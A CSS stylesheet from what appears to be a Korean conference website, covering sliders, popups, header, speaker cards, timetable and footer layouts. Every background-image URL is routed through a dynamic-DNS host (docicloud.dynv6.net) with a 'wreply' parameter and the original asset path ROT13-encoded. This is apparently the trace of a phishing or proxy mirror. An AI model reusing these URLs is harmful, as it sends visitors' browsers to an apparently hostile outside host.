.main_slider_a .slide_04 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_04.wct)}
.main_slider_a .slide_05 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_05.wct)}
.main_slider_a .slide_06 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_06.wct)}
.main_slider_a .slide_07 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_07.wct)}
.main_slider_a .slide_08 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_08.wct)}
.main_slider_a .slide_09 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_09.wct)}
.main_slider_a .slide_10 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_10.wct)}
.main_slider_a .slide_11 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_11.wct)}
.main_slider_a .slide_12 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_12.wct)}
.main_slider_a .slide_13 {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_13.wct)}





/* 팝업 */
.hd_pops_con .popup_ytb_wrap {position: relative;  width: 100%;  padding-bottom: 56.25%;}
.hd_pops_con .popup_ytb_wrap iframe {position: absolute;  top: 0;  left: 0;   width: 100%;  height: 100%;}
.hd_pops {border: none;  background: transparent;}
.hd_pops_btn a {display: inline-flex;  justify-content: center;   align-items: center;   font-size: 20px;  color: #fff;  background: var(--key-color);  height: 2.2em;  margin-top: 0.5em;  padding: 0 1.2em;  border-radius: 5px; transition: all 0.15s;}
.hd_pops_btn a:hover { background: #095b9a;}



.video_popup_wrap {position: fixed;   top: 0;  left: 0;  width: 100%;   height: 100%;background: rgba(0, 0, 0, 0.7);     z-index: 19999999;}
.video_popup_wrap .video_box_outter {position: absolute;   top: 50%;   left: 50%;   width: 100%;  max-width: 1440px;  transform: translate(-50%, -50%);}
.video_popup_wrap.promotion_video .video_box {width: 100%; padding-bottom: 25%;}
.video_popup_wrap .video_box video {position: absolute;   top: 0;   left: 0;   width: 100%;  height: 100%;}
.video_popup_wrap .popup_close {position: absolute;   top: 0;  left: 0;  width: 100%;   height: 100%;}
.video_popup_wrap .pop_close_btn {position: absolute;     right: 20px;    height: 20px;    color: #fff;    font-size: 55px;    font-weight: 100;    line-height: 1em; }
.video_popup_wrap .pop_close_btn:hover {color:var(--key-color)}


.video_popup_wrap.highlights_video .video_box ,
.video_popup_wrap.pixel_paint_video .video_box {width: 100%; padding-bottom: 56.25%;} 



@media (max-width:1800px){
  /*헤더*/
	#header_pc .inwrap {padding-left:150px; padding-right:100px;}
}


@media (max-width:1600px){
  /*헤더*/
html[lang="en"] #header_pc .gnb_list > li > a {padding: 0 30px;}
}

@media (max-width:1440px){
  /*헤더*/
	#header_pc .inwrap {padding-right:90px;}
	#header_pc .gnb_list > li > a {font-size:16px;}
	#header_pc .gnb_list .sub a {font-size:14px;}
	#header_pc .util_link {flex-direction:column; gap:1rem; top:120px; right:0; text-align:center;}
  #header .logo a {width:119px; height:90px; }


	html[lang="en"] #header_pc .gnb_list > li > a {padding: 0 15px;}


	/*main */
	.main_time_table_contents .t_box {flex-wrap: wrap;}
	.main_time_table_contents .t_contents {width: 100%;  padding-top: 2em;}
	.main_time_table_contents .t_contents::after {content: none;}

	.main_spk_list {padding: 0 30px;}
	.main_spk_list .slick-prev, .main_spk_list .slick-next {    width: 40px;     height: 40px; background-size: 10px ! IMPORTANT;}
	.main_spk_list .slick-prev:focus, .main_spk_list .slick-next:focus { background-size: 10px ! IMPORTANT;} 
  .main_spk_list .slick-next {right: -10px !important;}
	.main_spk_list .slick-prev {left: -10px !important;}




  /*연사*/
	.spk_box .photo {max-height: 24.652vw;}



	/* 팝업 */
  .hd_pops {left: 10px ! IMPORTANT;}
}


@media (max-width:1024px){
  /*헤더*/
	#header_pc,
	.lang_wrap {display:none;}
	#header .logo a {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_ybtb2_bire.cat) no-repeat center / cover; width: 93px; 	height: 70px;}
	#header_mobile {display:block;}
	#header_mobile .top {display:flex; align-items:center; justify-content:space-between; position:relative; height:80px; padding:0 4%; background:#fff; transition:all 0.4s;}
	#header_mobile .lang {position: absolute;    right: 80px;   top: 50%;   transform: translateY(-50%);}
	#header_mobile .lang > button {    position: relative;    padding-left: 30px;    padding-right: 22px;    border: 0;    line-height: 24px;    font-size: 12px;    font-weight: 700;    color: #222;    letter-spacing: 0;    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat.fit) transparent no-repeat 0 center;}
	#header_mobile .lang > button::after {content: '';position: absolute;    top: 50%;    right: 0;     width: 10px;    height: 6px;    margin-top: -4px;    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat_nee.fit); background-size: cover;    background-repeat: no-repeat;}
	#header_mobile.fixed_top .lang > button::after {     background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat_nee.fit);}
	#header_mobile .lang .sub {position: absolute;     top: 24px;    left: 50%;    width: 110px;    margin-left: -55px;    padding-top: 11px;}
	#header_mobile .lang ul {     display: none;    padding: 10px;    border: 1px solid #E7E7E7;    border-radius: 10px;    background: #fff;    box-shadow: 0px 4px 4px 0px rgba(0, 0, 0, 0.06);}
	#header_mobile .lang li+li {    margin-top: 10px;}
	#header_mobile .lang ul a {    display: block;    padding-left: 27px;    line-height: 20px;    font-size: 12px;    font-weight: 700;    color: #222;    background: no-repeat 0 center;}
	#header_mobile .lang .kr a {    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_xe.fit);}
	#header_mobile .lang .en a {    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ra.fit);}
	.btn_menu_open {position:relative; width:26px; height:18px; cursor: pointer;   color: #222;   font-weight: 300; background-color: transparent; border: none;}
	.btn_menu_open i {position:absolute; top:0; left:0; width:100%; height:2px; background:#222;}
	.btn_menu_open i::before,
	.btn_menu_open i::after {position:absolute; top:8px; left:0; width:100%; height:2px; background:#222; content:'';}
	.btn_menu_open i::after {top:16px;}
	.btn_menu_close {position:relative; width:26px; height:26px;cursor: pointer;   color: #222;   font-weight: 300; background-color: transparent; border: none;}
	.btn_menu_close::before,
	.btn_menu_close::after {position:absolute; top:50%; left:50%; width:26px; height:2px; transform: translate(-50%, -50%); background:#222; content:'';}
	.btn_menu_close::before {transform: translate(-50%, -50%) rotate(45deg);}
	.btn_menu_close::after {transform: translate(-50%, -50%) rotate(-45deg);}
	#side_menu {position:fixed; top:0; right:-100%; z-index:10000; width:100%; height:100%; background:#fff; transition:right 0.4s;}
	#side_menu .top {height:80px; padding:0 20px;}
	.util_link {display:flex; justify-content:center; text-align:center; border-top:1px solid #ddd; border-bottom:1px solid #ddd;}
	.util_link li {flex:1;}
	.util_link li+li {border-left:1px solid #ddd;}
	.util_link a {display:block; line-height:48px;}
	#side_menu .gnb_list {overflow-y:auto; position:absolute; top:129px; left:0; right:0; bottom:0; color:#222;}
	#side_menu .gnb_list > li {border-bottom:1px solid #ddd;}
	#side_menu .gnb_list > li > a {display:block; position:relative; padding:17px 30px; font-size:16px;}
	#side_menu .gnb_list > li > a::after {position:absolute; top:50%; right:30px; width:12px; height:10px; margin-top:-5px; transform:rotate(180deg); background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_tao_nee.cat) no-repeat center/contain; content:'';}
	#side_menu .gnb_list > li.on > a {color:#fff; background:var(--key-color)}
	#side_menu .gnb_list > li.on > a::after {background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_tao_nee_ba.cat); transform:rotate(0deg);}
	#side_menu .gnb_list > li.on .sub {display:block;}
	#side_menu .gnb_list .sub {display:none; padding:15px 0;}
	#side_menu .gnb_list .sub > li+li {border-top:1px solid #ddd;}
	#side_menu .gnb_list .sub a {display:block; padding-left:40px; font-size:16px; line-height:30px;}
	#header.main #header_mobile .top {background:transparent;}	
	#header.main #header_mobile .btn_menu_open i,
	#header.main #header_mobile .btn_menu_open i::before,
	#header.main #header_mobile .btn_menu_open i::after {background:#fff;}
	#header.fixed_top #header_mobile .top {background:#fff;}
	#header.fixed_top #header_mobile .btn_menu_open i,
	#header.fixed_top #header_mobile .btn_menu_open i::before,
	#header.fixed_top #header_mobile .btn_menu_open i::after {background:#222;}
	#header.open #side_menu {right:0;}



  /*메인*/
  .main_visual { padding-top: 150px;}
  .main_visual .main_viz_btn_wra .btn {font-size: 16px;}
  .main_visual .ft_desc .title { font-size: 26px;}
  .main_visual .ft_desc .desc {  font-size: 16px;}
  .main_visual .ft_desc .regi_info {font-size: 30px;}
  .main_visual .ft_desc {padding-bottom: 80px;}
	.mid_sub_title { font-size: 45px;}
	.main_spk_list {gap: 30px;max-width: 100%;}
	.main_spk_list .spk_box { width: calc((100% - 60px) / 3);}
	.spk_box .special {font-size: 13px;}
	.main_time_table_contents {max-width: 100%;}
	.main_time_table_contents dt {font-size: 15px; width: 180px;}
	.main_time_table_contents dd { width: calc(100% - 180px);}
	.main_time_table_contents .t_title { font-size: 15px;}
	.main_time_table_contents .t_contents { font-size: 14px;}
	.main_notice .notice_box { width: 100%;}

	/*연사*/
	.spk_box .photo {max-height: 52vw;}



		/* 팝업 */
  .hd_pops {left: 2.5vw ! IMPORTANT;}
  .hd_pops_con {  width: 95vw !important;   height: auto ! IMPORTANT; }
  


}


@media (max-width:980px){
    /*메인*/
		.main_visual .heading .desc { font-size: 24px; 	}
		.main_visual .heading .title { 	font-size: 28px;	}
		.main_visual .heading .date_location { font-size: 20px;}
		.main_visual .heading .date_location b { font-size: 36px;}

    .main_visual .main_viz_btn_wra {flex-wrap: wrap;}
    .main_visual .main_viz_btn_wra .btn {width: 100%;}
    .main_visual .ft_desc .title br,
    .main_visual .ft_desc .desc br {display: none;}
		.main_spk_list {row-gap: 60px;}
		.main_spk_list .spk_box { width: calc((100% - 30px) / 2);	}
		.spk_box .prf {font-size: 14px;}
		.spk_box .spk_name .b_name { font-size: 15px;}
		.spk_box .spk_name {padding-left: 15px;}
		.spk_box .spk_name .s_name { font-size: 13px;}
		.round_btn {font-size: 14px;}
		.main_btn_wrap {flex-wrap: wrap;}





		/* footer */
		.footer_link_wrap .link_btn { width: 50%;}
		.footer_link_wrap .privacy,.footer_link_wrap .info  {border-bottom:1px solid rgba(255, 255, 255, 0.2)}

}


@media (max-width:480px){
    /*헤더*/
  #header .logo a { width: 86px;  height: 65px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_ybtb2_bire.cat) no-repeat center / cover;}
	#header.main .logo a {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_ybtb2.cat) no-repeat center / cover;}
	#header.open .logo a,
	#header.main.fixed_top .logo a,
	#header.fixed_top .logo a {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Sznva_ybtb2_bire.cat) no-repeat center / cover !important;}
	#header_mobile .lang > button::after {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.frbhysbehz.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2Svzt%2Sznva%2Svpba_ynat_nee_oynpx.fit);}

  /*메인*/
	.main_visual .heading {  margin-bottom: 30px;}
  .main_visual .heading .title {   font-size: 22px;}
  .main_visual .heading .desc {   font-size: 20px; }
	.main_visual .heading .date_location { font-size: 16px;}
	.main_visual .heading .date_location b { font-size: 34px;}
	.main_visual .link_wrap a {width: 80px;  height: 80px;}
	.main_visual .link_wrap a span {  width: 25px;  height: 29px;}
  .main_visual .main_viz_btn_wra {  padding-bottom: 80px;}
  .main_visual .ft_desc .title { font-size: 24px;}
  .main_visual .ft_desc .regi_info {   font-size: 24px; }
  .main_visual .ft_desc {   padding-bottom: 30px;}
	.main_speakers, .main_timetable, .main_partners, .main_notice { padding: 60px 0 60px;}
	.main_spk_list { row-gap: 40px;}
	.main_spk_list .spk_box { width: 100%;}
	.spk_box .spk_name .b_name { font-size: 20px; }
	.spk_box .spk_name .s_name { 	font-size: 15px; }
	.spk_box .prf { font-size: 16px;	bottom: 0;	left: 0;	opacity: 1 !IMPORTANT;	position: relative;		transform: none ! IMPORTANT; 	color: #222;height: 60px;}
	.spk_box .photo {margin-bottom: 20px;}

	.mid_sub_title { font-size: 35px;}
	.main_btn_wrap.speakers {   padding: 40px 0 40px;}
	.main_time_table_contents dt { font-size: 14px;	width: 140px;}
	.main_time_table_contents dd { width: calc(100% - 140px);}
	.main_partners_contents .swiper-slide {   width: 150px;}
	.main_notice .sub_title {font-size: 26px;}
	.main_notice .lat li a {font-size: 16px;}
	.main_notice .notice_box .view_more {top: 2px;}
	.main_notice .lat li a {padding: 1.2em 1.75em 1.2em 1.5em;}
	.main_notice .lat li .wrap:after {bottom: -1.2em;}
	.main_btn_wrap {gap: 5px;}
	.round_btn {padding: 0 1.5em;}

	/*연사*/
	.spk_box .photo {max-height: 120vw;}


	/*풋터*/
	#ft .container {padding: 0;}
	.footer_link_wrap .link_btn {font-size: 14px;}
  #ft .footer_info_wrap .container {padding: 0 20px;}
	.footer_info_wrap p { font-size: 3.8vw;}



	/* 메인 슬라이더 경우 */
	.main_slider_a {height: 100vh;}
	.main_slider_a .slick-next {  right: 5px;}
	.main_slider_a .slick-prev {  left: 5px;}
	.main_slider_a .slick-prev, .main_slider_a .slick-next {width: 30px; height: 30px;background-size: 6px ! IMPORTANT;}
	.main_slider_a .slick-prev:hover, .main_slider_a .slick-next:hover {background-size: 6px ! IMPORTANT;} 
	.main_slider_a .main_visual {height:  100vh; padding-bottom: 0;background-position: bottom center ! IMPORTANT;   background-size: cover ! IMPORTANT;}
	.slide_over_txt_wrap .inner_wrap {padding-left: 30px;}
	.slide_over_txt_wrap .main_year_title img {    max-width: 80vw;}
	.slide_over_txt_wrap .main_year_title {padding-bottom: 30px;}
	.slide_over_txt_wrap .heading .title {  font-size: 20px;}
	.slide_over_txt_wrap .heading .date_location {  font-size: 15px;}
	.slide_over_txt_wrap .heading .date_location b { font-size: 1.6em;}
	.slide_over_txt_wrap a {font-size: 3.6vw;  margin-top: 1.2em; padding: 0 1em;}
	.slide_over_txt_wrap .btn_wrap {margin-top: 20px;}
	.main_slider_a .slick-dots li button {   width: 8px;  height: 6px;}
	.main_slider_a .slick-dots li {margin: 0 4px;}
	.main_slider_a_wrap .link_wrap {bottom: 60px;}


 /* 팝업 */
	.hd_pops {  top: 80px ! IMPORTANT; }
  .hd_pops_btn a {font-size: 16px;}

}